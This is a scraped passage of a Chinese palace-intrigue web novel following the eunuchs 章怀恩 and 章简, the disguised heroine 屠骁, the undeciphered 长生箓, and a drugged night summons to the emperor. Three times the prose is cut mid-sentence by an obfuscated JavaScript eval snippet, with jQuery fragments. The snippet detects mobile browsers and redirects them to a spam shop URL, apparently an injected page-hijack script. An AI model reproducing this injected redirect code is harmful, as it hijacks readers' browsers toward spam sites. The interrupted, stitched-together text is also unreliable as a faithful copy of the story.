章简浑身一松,这才敢抬起眼,小心翼翼地看向章怀恩。 只见章怀恩微微颔首,面带笑意,他连忙从地上爬了起来。 章怀恩道:“你可瞧出她武功的来路?” 章简垂首:“儿子惭愧,看不出。” 章怀恩慢慢踱了两步,声音幽幽:“我也看不出。” 章简大惊,不由地道:“怎么会?难道她的武功竟高到如此地步?” 章怀恩却摇了摇头。 “不。她的武功若是太高,便不会被底下的机关困住。若是太低,又绝无可能闯过外头那五人的鞭阵。” 章简思忖片刻,附和道:“但她的武功,绝对比我们知道的要高。” 章怀恩捋着假须,点点头,慢悠悠道:“她东一招西一式,看似驳杂不堪,实则自成章法,出手即是杀招,没有半分花巧。教习她武功的人,想必是长年流亡于刀光剑影之下,于生死一线间悟出的搏命之技。” 他眯着眼看向章简,“这等保命的功夫,若非十分信任,又怎么会轻易传授于人呢?” 章简的心陡然一停。 他自然知道干爹说的是什么意思。 屠骁在出海之前,恰巧在万家作过武师。先前的调查只道屠骁在万家似乎不受重视,但与万棠还算亲近,再多的便没有了。 这些年浪迹江湖,屠骁于隐瞒行藏一道十分擅长。 骤然提到那个人,章简的喉咙便一阵发干,眼前景象也变得朦朦胧胧,似有漫天桃花纷飞,又有烈火焚城,似是噩梦,又似是回忆,竟一时分不清虚实。 面上似哭似笑、似回忆,怔了许久,他才哑声问:“干爹意思是,那人或许已将秘密告诉了万昭仪?” 章怀恩点头:“正是。” 章简茫然道:“可两人相识不过数月,她真的会告诉她吗?” 他不信。 他不信这世间有这样纯然的信任。 亲生的儿子、亲养的老子尚且不能全然托付,何况是两个萍水相逢的陌生人? “有时人与人的缘法就是这么奇怪,有些事,不能只看表面。” 章怀恩脸上竟露出一种近乎真诚的笑容,仿佛在回忆什么,但那飘忽的神情只出现了一瞬,便迅速消失。 他笑眯眯道:“今日之事,多亏了你。” 章简忙躬身道:“为干爹分忧,是儿子分内之事。” 他以为,干爹是说他今日歪打正着,激得昭仪娘娘闯塔,从而试出了她的底细。 虽则万昭仪一时情急,误会了他们,但她并非蠢人,事后解释清楚,想必她能明白,在这深宫之中,多个朋友总比多个敌人要好。 可他没想到,章怀恩竟眯起双目,慢悠悠地捋着须,温声道:“若不是你当年一念之仁,放走了屠骁,哪里还有今日的万昭仪呢?若没有万昭仪,官家的万寿宏图又怎么得以成就?” 他盯着章简渐渐苍白的面色,捻须一笑:“文约,这正是你的因果。” 章怀恩依旧在笑,可那笑意落在章简眼中,却化作了彻骨的寒意。 他双腿发软,连牙齿都开始格格作响。 放跑了她……
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17143246|194110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 是啊! 当年是他违背了干爹的命令,偷换了迷药,撬开了窗锁,私自放走了屠骁。事后多亏了干爹一力回护,才将此事瞒天过海,叫自己死里逃生。 他以为自己早已忘了,以为对方已身死债销,自己的内心已变得足够强大、足够心狠手辣。 可每当他以为自己已无坚不摧之时,这些话、这些回忆,便会从四面八方钻出来,一遍遍提醒他—— 你曾背叛了干爹,你的手上沾满鲜血! 血债血偿,你从不无辜! 他比任何人都清楚,这世上有些伤害注定无法弥补,有些过错注定无法挽回,就好像蘸过泥沼的白纸,无论如何洗刷,也无法恢复如初了。 他唯一一次悸动,甚至来不及明确自己的心意,就已匆匆将爱意阉割,变作血淋淋的债。 一笔,一笔…… 十三笔血债,他永生永世无法洗脱。 他脸上的血色瞬间褪尽,双唇颤了又颤,连追问一句的勇气都没有。 章简失魂落魄的模样叫章怀恩的面色变了变,他开口唤了一声,章简竟没有听到。于是他不再开口,只是默默敛了笑,审视着章简的神情。 他从不是个多话的人,他只会在最需要的时候,将最必要的消息透露给最紧要的人。 只要他不想说,这世上便没有人能逼他开口。 而今日,正是最需要的时候。 待章简终于从回忆中挣脱,章怀恩才继续道:“有一事,干系甚大,往日我没有与你说,是为了你好。既然万昭仪如此信得过你,我索性告诉你内情,日后也好应对。” 章简咀嚼着“信得过”这几个字,腰弯得更低,挤出一抹苦笑:“娘娘日后……怕是再不会信我了。” 信任二字何等珍贵,何等奢侈? 他素来看不起那些轻付信任的人,因为那种人通常都没有好下场。 可当自己真正被人信任时,他一边觉得不可思议,嗤之以鼻,一边又感到一种难以抑制的窃喜和自得。 而如今,这份信任已被他亲手摧毁,他反而愈发觉出它的苦涩和珍贵。 章怀恩却道:“我看未必。” 他看了一眼地上昏迷不醒的人,冲章简使了个眼色。 章简会意,走上前去。 屠骁依旧躺倒在地,没有丝毫转醒的迹象。他探了探鼻息,确认她并无大碍,这才弯下腰,两手一错,将脱位的肩膀推回原处。 干爹和他都是极有分寸的人,他方才那一掌不过使了五分力气,只击在她肩颈关节处,叫她无法使出招式而已。 到底还是留了几分余地。 这样剧痛之下,她身子微微颤动一下,仍旧紧闭双眼,并未醒来。 看来是真的晕了,章简冲章怀恩点点头。 章怀恩露出满意的神色,压低了声音,缓缓开口:“你知道《长生箓》如今正在宫中?” 明知道周围不会有人偷听,但章简仍警惕地左右看了看,不单声音放低了,连呼吸也不由地放慢了:“儿子知道。” “那么,你可知道,这长生箓并非以汉文写成?” 章简这下吃了一惊。 章怀恩负手踱步,语调依旧平和温柔:“非但不是以汉文写成,而且不是以这世上任何一种语言写成。” 章简讶然:“那这长生箓……难道……难道……” 章怀恩轻叹一声,道:“不错,这长生箓的秘密,如今仍未解开。” 30. 这人竟然这么重 外界传闻,这《长生箓》是屠家从已灭族的摩罗人古籍中得来的灵感。 这些年来,章怀恩苦心孤诣搜罗天下古书,潜心钻研摩罗族史料文字。他自诩世界上没有人比他更懂摩罗族了,可在得到长生箓的时候,他仍是傻了眼—— 这文字虽与摩罗族文字有八九分相似,但绝不是摩罗族的文字! 若按照摩罗族的文字解读,这纯粹是一篇狗屁不通的笑话! 不。 长生箓绝不是笑话,他才是笑话。 偷学秘籍的计划已然落空,章怀恩只好退而求其次,装作毫不知情,将《长生箓》献予官家,博了份头功。 官家求神问道,必会想尽办法破解此中奥秘,到时自己再暗中运作一番,岂不是能坐享其成? 可谁曾想,直至今日,《长生箓》的秘密仍然无人能解。 章简虽已有猜测,此刻仍做出惊诧的样子来,喃喃:“怪不得,怪不得……” 怪不得得知屠骁死讯时,干爹的反应很奇怪,如今想来,那分明是失望,失望世间再也无人能破解《长生箓》的秘密了。 如此一来,一切都说得通了! 章怀恩正色道:“我已能确信,万昭仪必然知道长生箓的秘密。” 与其说确信,倒不如说他从未想过其他可能。若是万昭仪当真什么都不知道,他数年的筹谋岂非都是一场空? 因此,哪怕只有一丁点机会,他也要搏上一搏。 更何况,他身边从来留不得有二心的人,正好可以借此机会敲打试探一番。 章怀恩圆圆的脸慢慢地舒展开,像是覆盖了一层柔和的湖水,水面还在泛着波光。 他凝着章简,郑重道:“圣人已叫她得罪了,宁妃与先淑妃的死有关,国师的禁地又被她肆意破坏,就连我,也被她当做居心叵测之人。 “如今,她正是四面楚歌、孤立无援之际。可倚仗的,唯有你一人。” 先推人下水,再俯身搭救,日后但有所求,便由不得对方不应。这套先予后取的把戏,他父子二人早已是炉火纯青,对付区区一个万昭仪,自然是不在话下。 干爹将这样重要的秘密透露给章简,章简本该感到热血澎湃,恨不得立刻为对方肝脑涂地。 但他没有。 他不是不知道干爹的关心中掺杂了猜忌,恩情里裹挟着利用,他只是选择忽略。 命运本叫他猪狗不如,在干爹的施舍下他才活得像个人。更何况干爹一向待他很好,哪怕是利用,这样的利用也是旁人无法企及的殊荣。 ——怎么不见干爹利用旁人呢? 此时此刻,他本该激动、该狂喜,他的确也有激动,但那激动只持续了短短一瞬,便被一种突如其来的悲凉冲散了。 他竟觉得无比疲惫、心酸,连他自己也说不清是为什么。 好在他别的没学会,这不动声色的本事得了章怀恩真传,无论心中如何翻滚,面上仍是波澜不惊,恭敬道:“儿子该怎么做?” 章怀恩几乎没有思索,道:“少不得要叫你受些皮肉之苦。” 章简瞬间明白,万昭仪性情刚烈,硬来不行,这是要使出苦肉计了。 他不去质疑此举是否必要、意义何在,他只是甘愿做干爹的一把刀,一把识时务的刀。 而刀是不该有感情的。 他干脆道:“儿子明白。” 章怀恩的轿子与他的人一样朴素、简单,毫不起眼。 这轿子此刻就停在塔外,章怀恩吩咐了一句“将人带走”,便迈步离开。 章简怔立片刻,一狠心,将人直接抱起。 他没想到这人竟然这么重。 分明看起来不胖,却像块实铁一样往下坠,她的身子也很冷,发丝凌乱地贴在脸上,衣衫也满是尘土与褶皱。 他想,若不是因为自己那句话,或许她不会走到这一步,不会冒险闯入五方塔,更不会如此轻易暴露自己的底牌。 ——或许她连自己的底牌是什么都不清楚,就已贸然卷入这波诡云谲的棋局。 可这宫里又有谁不是棋子呢? 他本不是一个有同情心的人,心下只是略略感慨一番,便将怀中人的脸盖上,大步往外走去。 浓云低垂,天色阴沉,看来是要下雪了。 外头的塔基上满布鲜血,三个着道袍的新面孔正提着桶冲洗血迹,另有两人则将先前的五人依次拖到一旁的树丛。 那五人没有丝毫反抗,因为他们已成了五具尸体。纵使章简留了他们一命,他们对于国师而言也毫无存在的价值了。 这宫里就是这么奇怪。 有时候死人会闹得兴师动众、沸沸扬扬,有时候死人却像是泥牛入海,悄无声息。 “这倒省事了。”章怀恩淡淡道。 不用想也知道,要不了多久,国师便会意识到万昭仪是解开长生箓的关键,也对万昭仪下手。 他们必须要快,更快。 章怀恩看着章简将人塞进轿中,柔声嘱咐道:“安神的药丸我已叫人送去了,你旧疾在身,寝夜难眠,还是少饮酒为妙。” 章简身上的酒气早已消失了,他知道干爹绝不是从外表上看出自己饮了酒,而是在守静宫有眼线。 他往常多会感激涕零地叩谢一番,可如今心中却是猛地一跳,竟有些慌乱,只轻轻颔首道:“多谢干爹,儿子记得了。” 说罢,也闪身钻入轿内。 抬轿的太监武功高超,不论坐上几个人,他们的脚步也不会有丝毫晃动和颠簸。 轿帘隔绝了阴沉的天光,也隔绝了冷风的呼啸和寒鸦的悲鸣,只余下很轻很轻的脚步声。 章简端坐一隅,目光似乎透过轿帘,投向外头一成不变的那片灰云。 他说不清自己对万昭仪是什么情感。 是好奇?是惊讶?是期待她会做出惊人的举动?还是愤怒她的特立独行和不听摆布? 但无论如何,这种情感绝不会是愧疚,他早已失去了愧疚的能力。 太监本不需要与主子避嫌,况且他是为了给万昭仪掩盖行踪,于情于理都无需气短。 但他仍竭力将自己缩在轿子的一角,与万昭仪离得远远的。 他拼命使自己不要去看,不要去听,但越是紧张,那精神恍惚的毛病越是不适时地侵上头脑。 他从怀中摸出一个圆瓷盒,放在手中细细摩挲,盒子上的桃花在他的手下渐渐升温,似乎变得更深、更红了。 方才抱起万昭仪时,他忽然觉得肋骨被硌得发酸,这才想起怀里还藏着一盒清淤膏。 他本想将这东西带去远地方扔了,可一直没寻到时机,便这么一直揣在怀中。 自八年前从云州回京,他的身边再也没有出现桃花。 非但没有桃花,连桃叶、桃子、甚至是桃核都通通不见踪影,仿佛只要不去看、不去想,他的一切罪孽就不复存在了。 而眼前,却有三朵桃花。 他盯着瓷盒上的桃花,怔了怔,凑到鼻子下用力嗅了一下。 浓烈的药味叫他有了片刻清醒,也叫他意识到自己并非一个深情的人,更无必要表演深情。 ——毕竟他只是失去了桃花,比起十四条人命而言,这又算得了什么? 这味道也叫晕倒的人蹙起眉头,不耐地偏过了头。 如此一来,他正好能瞧见她湿润的发丝,和由于寒冷而微颤的双唇。 唇边一点血,恰似桃花红。 他只好紧紧闭上眼。 然而眼睛可以闭上,耳朵却不然。 闭上眼后,他的听觉反倒变得更加灵敏。 昭仪娘娘就倚在他身旁的轿厢上,他能清楚地听见那绵长而平稳的呼吸,时而停顿、时而急促,仿佛在昏沉中也承受着极大的痛苦。 他的呼吸竟也跟着乱起来了。 于是他只好又睁开眼。 而她依旧无知无觉,真像一个刚刚从生死边缘挣扎回来、力竭而晕厥的人。 但屠骁当然没有晕。 她连睡觉都几乎是睁着眼的,又怎么会任凭自己陷入无知无觉的境地? 她已挨过章简的一掌,又与他交过手,她深知这等内家功夫倚仗的不是武器和身法,而是修习者的雄厚内力。 不论动作再怎么迅速、灵巧,将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17147560|194110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 内力蓄积到掌上都是需要时间的。 清楚这一点,她便有办法应对。 在章简抬手起势的瞬间,她便迅速将真气蓄积到胸前中庭穴处,顺利接下了那一掌,又以内力逼出一口血,做出自己受伤的假象。 于是,在章怀恩出手的瞬间,她顺势倒下,也变得十分合情合理。 在章简为她接回错位肩膀的那一刻,骨骼复位的剧痛几乎让她咬碎牙齿,可她依旧紧闭双眼,并未有什么反应。 只有这样,才能叫他们放下心来,才有机会探听到他们隐藏最深的秘密。 这秘密令她着实吃了一惊。 原来章怀恩他们费尽心机,苦求八年,竟连《长生箓》的文字都读不懂! 屠家满门用鲜血守护的东西,到头来,竟是一卷无人能懂的天书。 她心中不知是该喜,还是该叹。 长生箓,长生箓…… 这足以引来滔天祸事的秘宝,终究没有落入恶人之手,成为为祸苍生的工具。 可它终究也没有叫任何人长生。 只要它还存在一日,只要它的秘密一日未解,这个恐怖的漩涡就会永远存在。无数的野心、贪婪、欲望被这漩涡吞噬,无数无辜的性命为此献祭。 屠家的血,柳娘的命,不正是这长生的祭品? 无论如何,她都要夺回长生箓。它既不能落在章怀恩手里,也不能为这宫中任何一人所得。 这已不仅仅是为了复仇,更是作为屠家血脉的责任,她要亲手终结这场灾殃。 轿子在守静宫侧门停下。 一个眼尖的小宫女远远望见,脸色一变,提着裙摆便奔进门内去通风报信。不多时,元鸣便急匆匆迎了出来。 她面上强作镇定,当她瞧见那顶朴素的轿子时,全部的紧张瞬间化作了惊恐,险些站立不稳,当场跌倒。 “守静宫司宫元鸣,见过章伴。” 元鸣在轿外深深福身,强自镇定心神,声音微微发颤。 章伴怎么会突然出现?难道是来拿人的? 轿内,屠骁轻咳一声,幽幽转醒。 “娘娘醒了。” 章简松了口气,他总算不用再装下去了。 屠骁没有看他,哼道:“章怀恩的武功很高,但我未必杀不了他。” 她的声音很轻,但她的表情却十分坚定,叫人绝不会怀疑她的决心、她的勇气和她的能力。 章简张了张嘴,苦笑道:“昨夜当真是误会,我本——” 话未说完,屠骁已径直掀帘而出。章简怔了怔,也只好跟着下了轿子。 元鸣见不是章怀恩,而是屠骁和章简,先是舒了口气。可一见屠骁的模样,登时又倒吸一口凉气。 屠骁身上的宫装满是尘土与褶皱,发丝散乱,面色惨白,整个人像是被寒潭冰水浸泡过,唇边还还残留着一抹暗红的血迹。 元鸣登时低呼一声,抢步上前。 屠骁抬眼,对她做了一个“嘘”的手势。 元鸣立刻会意,将满腹的惊疑与骇然死死压下,快步上前,利索地解下自己的斗篷为屠骁披上。 她知道娘娘昨夜出了门,只道娘娘是去寻机邀宠了,她非但没有阻止,还颇感欣慰和激动。 这本是一场豪赌,若能赌赢,即便过程惊险了些,又有何妨? 可等来等去,也没等到好消息,反而收到了章简的口信,只道娘娘与他在一起,叫她不必担忧,也不要声张。 元鸣当时便觉出不对,心道多半是赌输了。 可她怎么也想不到,娘娘一夜未归,还落得如此狼狈的境地。 这哪里像是去邀宠,分明是从鬼门关里打了个转回来! 再看章简,面露尴尬,一双眼盯着娘娘的背脊,似乎是有话要说,娘娘则侧身避开他的目光,显然不想理他。 见两人气氛诡异,元鸣不敢多问,到底还是主子的安危更要紧,便不再多言,忙扶着屠骁快步进了宫门。 元鸣又看向章简,盼望着章简能给个合理的解释,章简却只是摇了摇头。 屠骁元鸣神情,便知有事,哑声问道:“是谁来了?” 31. 侍寝 “常都知方才来过。” 元鸣边走边道,语速又急又稳:“送来了官家和圣人的赏赐,指名要见娘娘。臣斗胆,只道娘娘昨夜在院外苦候天颜,受了风寒,刚刚歇下,请他老人家稍待,容臣为娘娘梳妆。” 元鸣有些忐忑,抬眼去看屠骁的脸色。 她这番说辞,等于直白地向常怀德宣告万昭仪昨夜并未侍寝,不仅没侍寝,还痴痴地吹了一夜冷风。 不消一日,这消息便会传遍各宫,所谓的“圣眷正浓”、“万家得势”都将沦为笑话。 不过,在方才那种情形下,用失宠的羞辱来掩盖私自离宫、彻夜不归的弥天大罪,已是最好的法子。 屠骁却露出赞赏的目光,道:“多谢你。他已经走了?” 元鸣的眉头舒展开,点头道:“走了。不过……” 说话间,几人已转过月门,瞥见了廊下立着几个身着素白宫衣的宫女。 元鸣以袖掩唇,压低声音道:“宁妃娘娘也派人来了。” 屠骁点了点头,抬步便往里走。 元鸣想劝她先去梳洗一番,换身干净衣裳,屠骁却摆了摆手,笑道:“不必了,这样倒真像痴心错付、大病一场。” 这人竟还有心情玩笑,元鸣不知道该作何反应了。 无法,她只好从袖中摸出帕子,踮脚为屠骁拭去唇边的血迹。 屠骁按耐不住心中的好奇。 宁妃有什么话要告诉自己?莫非是吕自安已经向她透露了什么? 她是想要除掉她,还是与她合作? 柳娘若真是被她所害,又是为了什么? 子嗣?还是灭口? 柳娘腹中的胎儿又去哪儿了? 还有,柳娘牙上的黑线又是什么意思? 屠骁心中惴惴,设想了无数种可能,却唯独没有想到:宁妃竟将吕自安送来了守静宫。 事发突然,调动宫人的请批单还没有到章简手中,吕自安的人已经收拾妥当住下了。 吕自安带了三样东西:一是他的两柄砍竹刀;二是万柳未完成的绣品和花样子;三是宁妃的礼,只道是她私库里堆着的布料,赏屠骁做几身衣裳。 除此之外,还有一句话。 那句话匪夷所思,更叫人毛骨悚然—— “侍寝时不要睡,一刻也不要睡。” - 灯笼在宫道上浮动,像粒粒孤独的萤火。 章简提着灯笼走在轿旁,脚步莫名又轻又快。 他的心情也又轻又快,似乎快要飘到半空中去。一种难以言喻的情绪在他的胸膛里膨胀,几乎要冲破皮肉,化作一声长笑。 她原谅他了。 她竟原谅他了? 他还没来得及仔细辩驳,她便信了他的托辞。她究竟是太过愚蠢,还是……还是他说什么她都肯信么? 不只信了,她甚至还问他:我见你也受了伤,那清淤膏若是不够,便将我的拿去。 那一刻,章简真的想大笑两声。 他素来瞧不起那些轻易便付出信任的蠢人,因为这世道从不善待蠢人。可当他自己被这样愚蠢的信任包裹时,他才发觉,这世上再没有比这更贵重的东西了。 或许她一点也不蠢,只是太识时务。 毕竟若是真蠢,怎么会选择相信他呢? 这样很好。 于她,于他,都是再好不过。 这些年来,干爹在后宫一直没有得力的妃嫔相助,扶上来的要么胆小如鼠、畏首畏尾,要么好行小慧、大愚若智。 好容易等来一个万淑妃,可惜性情刚烈,没等拉拢过来,便一命呜呼了。 而常怀德却因攀上了圣人,处处压他们一头。 如今一切都不同了! 万昭仪已是他们的人,她今夜便会登上龙床。 不论官家是否真的临幸,只要在那床上躺过一遭,她便会成为真正的妃子、皇帝的女人,有他与干爹的筹谋,泼天圣眷指日可待。 她家世单薄,了无倚仗,四面皆敌,除了他们,她谁也不能信。 她还这样年轻,身体康健,若是能诞下龙嗣…… 若有了龙嗣,他们便终于有了能与常怀德分庭抗礼的根基! 这简直太好了! 章简脸上的笑意愈发真诚,脚步愈发欢腾。轿前,两个引路太监提着长杆灯笼,仿佛被他此刻的雀跃感染,脚步也随之加快。 前路大亮,灯火辉煌处,轿子稳稳停在太一宫的侧门外。 太一宫不像宫中的任何一处宫殿。 此处并无雕梁画栋、亭台楼阁,只有寂寂庭院与昂昂殿宇。 殿宇的飞檐立着几只青铜仙鹤,在夜色中伸长了脖颈,引颈望月。院中的树木也尽是些形态虬结的古松古柏,枝桠在寒风中肆意伸展,有种肃杀而孤高的道韵。 一行人行至寝殿前,停住脚步。 章怀恩早已等候在殿门外,他身后还站着两位年长的女官。见人来了,她们立刻迎了上去,一人与元鸣一一核对信息,另一人在册上记下侍寝妃嫔的身份、位分、时辰。 而后又照例训了几句规矩,道了几句吉祥话。 待二人语毕,章怀恩才温声开口:“官家已在殿内打坐多时,请昭仪娘娘随二位移步仙宫。” 元鸣恭敬地将屠骁交到那两位尚宫手里,悄悄在衣袖上抹了把手心。 屠骁始终低眉顺眼,一言不发,任由他们一左一右将自己领入那片朦胧的昏暗。 章简立在门外,直到那细碎的脚步声再也听不见,他才长长地呵出一口气。 一团白雾从他唇间逸出,短暂地聚成形,又迅速消散在寒夜里。 “走吧。”章怀恩拍拍他的肩。 章简收回视线,应了一声,跟在章怀恩身后,往偏院而去。 章怀恩一边踱步,一边低声细语:“今日台谏上奏,道五方塔本是国师清修的洞天福地,昨夜既已见了血光,便是大大的不祥,乃是国师为我大周引来兵戈之祸的征兆,力主将国师流徙塞外,以禳灾祸。” 他低笑一声,摇头叹道:“官家将谏议大夫痛骂一顿,又急问国师,这才得知昨夜有人闯塔,当即大怒,斥责禁卫办差不力,竟连些许宵小刺客都抵挡不住。” 章简点头:“儿子也听说了。那江统领不知哪里得来的消息,竟说是内侍省的太监闯的祸,将咱们卖了出去。” 按理说,五方塔是禁地,本就不许人靠近,往常闯入刺客也不见官家如此肝火大动,乱骂一气。但江统领这顿骂挨得并不委屈,很可能,这还是他主动求来的。 朝中谁人不知,国师乃是官家的逆鳞,官家千秋万寿的宏图皆系在国师一人身上,官家甚至当着众臣的面道,“便是本君自己有事,也不可伤及国师分毫”。 往日擅闯五方塔之人,无一不殒命于鞭下或塔内。 昨日却是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17156689|194110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 例外。 台谏故意直言上疏、挑拨离间,激起官家怒火,反令官家对国师的宠幸愈发坚定,将满腔怒火发泄到闯塔之人身上。 此种套路屡试不爽,初时还有朝臣忿忿不平,之后多是象征性地附和两声,便不再抱任何希望了。 “他也只敢提些你的招式,叫官家怀疑罢了。万昭仪想来是没被人瞧见,且她是动不得的。”章怀恩捋须漫笑。 章简却顿住脚步。 他瞬间明白过来,死掉的五人身上有鞭伤、掌印,不难辨认出与他们交手的是谁,便是将此事全推到自己身上,干爹也不会受到丝毫影响。 江统领卖的那个人是“他”,不是“他们”。 这宫里还没有人能动摇章怀恩的地位。 一点冰凉落在他的脸上,瞬间融化。 雪落下来了。 今夜过后,这宫里又会是怎样一番天地? - 殿内灯火朦胧,人影朦胧。 铜灯燃着几簇幽幽的火,屠骁甫一踏入,眉头便已紧紧皱起。 这味道她太过熟悉,正是她下在清淤膏外盒上的毒——梦断。 只不过,这里的味道与那毒的味道又有不同,更浓,也更冷,其中似乎还夹杂了某种动物的脂油。 屠骁忙放慢呼吸,不敢再分辨下去。现在她终于懂了宁妃的话。 角落里,几只三足铜炉正无声地吐着紫色的烟雾,两位尚宫将她引至屏风前,为她脱去了外衫,便悄无声息地退下了。 屏风由十二扇组成,上面用金线银线绣着黄帝乘龙飞升图。 屏风之后,便是龙床。 一豆烛火在屏风后摇曳,将一个枯瘦的人影轮廓投在纱面之上,他似乎并未察觉有人进入,久久没有开口。 屠骁以袖掩面,飞快将一颗解毒丸压在舌下。 她正犹豫着是否要跪下行礼,屏风后便传来一道低沉的声音。 “过来。” 屠骁应了一声“是,仙君”,慢慢行至屏风之后。 看清床上盘坐那人,她兀自吃了一惊。 那人面容清癯、身形劲瘦,眉疏目朗,满面红光,单从面相上竟丝毫瞧不出他已是年过半百,最多也不过刚至四旬而已。 一身杏色道袍紧紧地裹在身上,殿内明明闷热如夏,他的额上却没有半分汗意。 他正以五心朝天之势闭目调息,听见动静,眼皮才慢慢掀开。 那是一双鹰的眼睛,锐利,饥饿,审视着这头误入陷阱的野鹿。只瞟了一下,他便轻微地点点头,又阖上双眼。 屠骁知道,这是要她自己过去。 但她只是垂着头,扮出羞怯又局促的模样。 等了片刻,官家又睁开了眼。 这一次,他的目光不再锐利,而是平和地望着屠骁,细细打量。 她的头发像墨缎一样光洁,发尾却不甚柔顺,杂乱地支棱出几缕。 她虽垂头羞涩,但背脊却挺得笔直,脖子像铜鹤一样直直仰着。 她手脚很长,动作舒展,手背上还有数道尚未愈合的细小伤口。 她淡施脂粉、装扮简素,却自有一股出尘脱俗的野性与天真,仿佛她一站在这里,空气都变得清新了些许。 但官家早已见惯了美人。 这位万昭仪终究不如她的姐姐那般绝色,最多只能算得上清秀罢了。 “过来。”他沉声下令。 32. 幻境 屠骁身子一颤,像是跋涉在没膝的雪地里,一步一步地蹚到了床边,虚虚挨着床沿坐下。 官家依旧维持着打坐的姿势,直直看着她。 屠骁显得有些不自在,可却又忍不住好奇,抬起清亮的双眸,飞快地打量着眼前这人。 官家也不开口,任凭她打量。 许久,他才道:“看清了?” 屠骁的脸“腾”地红了,慌忙点了点头,窘迫之下,声音竟不自觉地大了许多。 “看清了!” 官家见她这副天真模样,忍不住大笑几声,又问:“如何?” 屠骁此时已经没了方才的怯意,思忖片刻,认真道:“果真如姐姐所说,有股仙气,不似凡人。” 官家笑了,面上的红光愈发亮泽。 这样的恭维他每日听得无数次,可从这样一个天真无邪的少女口中说出来,显然更加可信,更能叫人心情愉悦。 对面的少女望着他,双目犯红,似乎已经痴了。 他看着对面的少女眼神渐渐迷离,轻喃道:“睡下吧。” 少女的身子僵了一瞬,然后便极为顺从地躺了下去,她双目失神地望着头顶的床帐,一动不动。 有脚步声响起,缓缓离去。 过了片刻,脚步声再次折返,来至床前。 有道人声在她耳边响起,似是情人低语,又似天外魔音。 “棠娘,棠娘,你可记得屠骁……” 那人声初时干涩沙哑、雌雄莫辨,有如枯木摩擦,但每说一个字,声音便柔上一分,待说到最后一个字时,已经全然变作了一个女子的声音。 除了万柳,还有谁会有这样的声音? 那声音带着某种魔力,屠骁不受控制地露出一个浅笑。 听闻“屠骁”两个字时,她的脸瞬间拧起,口中喃喃、双唇翕动,仿佛有什么东西在她口中蠕动,可她咬死了牙关也不能将那东西吐出来。 那声音问:“她可曾对你提过长生箓,或者,一本书?” 屠骁双唇抖得更加剧烈,神情更加痛苦,她竭力吞咽了两口,良久,才像是被撬开了蚌壳,无意识地漏出低语。 “书……她的确有一本书,但那书不是……不,我不能说……我答应过她……” 那声音变得更轻,更柔,也更阴冷。 “她是万家的朋友,也是你的恩师,你难道不想知道她为何死在海外?你难道……就不想知道她是为了什么而死么?” 那声音满含哀怨,叫屠骁整个身子都颤抖起来,额上沁出一层冷汗。挣扎良久,她才从口中溢出一串音节。 “是、是本……册子……” “什么册子?” “……字……不,是画,许多、许多画……不对……符号……” “什么符号?那册子呢?你还记得多少?” “金银给了我……册子……烧了……” 那人吐息之间,已带了三分急促,追问道:“你可还记得那些符号?可能画得出来?” 屠骁眼光涣散,似在极力回想。双瞳中的光彩急速流转,两个眼珠骰子似的滴溜溜转动,最终,倏然定住,直勾勾地望向帐顶。 下一刻,她霍然坐起。 一只手忽的从旁刺出,稳稳托住了她的手臂,一股无形之力引着她,她的眼珠缓缓转动,视线落在床下—— 好大一片桃林。 风里有桃花的香气,还有笑声。笑声疏朗而开怀,很轻、很远,却又仿佛在耳边。 屠骁拨开垂落的桃枝,花瓣如雨,沾了她一身。 脚下是柔软的青草,桃林深处,视线尽头,隐约有两张石凳,一张石桌,一个人。 屠骁分花拂柳,行至桌前。 那人高髻云鬟,身披一件半透的纱衣,从身后,只能瞧见她瓷器般光洁的脖颈,与挺得笔直的后背。 她正在绣一条布腰带,腰带的一头被她捧在手里,另一头顺着膝盖垂落。桌上还放着一件做好的滚毛半臂,样式小巧,却绝非襁褓婴孩之物,倒像是给一个半大孩子穿的。 针尖穿梭,动作熟稔而轻快。 万柳的手似乎永远离不开一根针。万棠练武时她在绣,万棠纵马时她在绣,生气了也绣,高兴了也绣,便是离开楚州前一刻,她仍然在绣。 若不是万柳,屠骁从不会知道世上竟有这么多种丝线、这么多种布料,一根小小的针,能飞舞出千变万化的花样来。 明知眼前种种皆为虚妄,屠骁心头仍是微微一酸,一口气哽在喉间,吐不出,咽不下。 视线落在桌上,待瞧清那半臂上的滚毛云纹,屠骁只觉脑中“嗡”的一声,仿佛被人用锤子在天灵盖上狠狠砸了一下。 这件半臂她见过! 不多时日之前,就在海棠苑的雅集之上,殷煊身上穿的正是这一件! 这一砸,她的脑袋仿佛破开一个大洞,许多记忆扑扑簌簌地滚落下来。 她想起今日宁妃赏下的“积压”布料。 ——那布料与圣人赏下的材质相同,花样类似,分明是今夏入宫的同一批贡品,若是宁妃不喜欢鲜艳的样式,为什么要存下这么多布料? 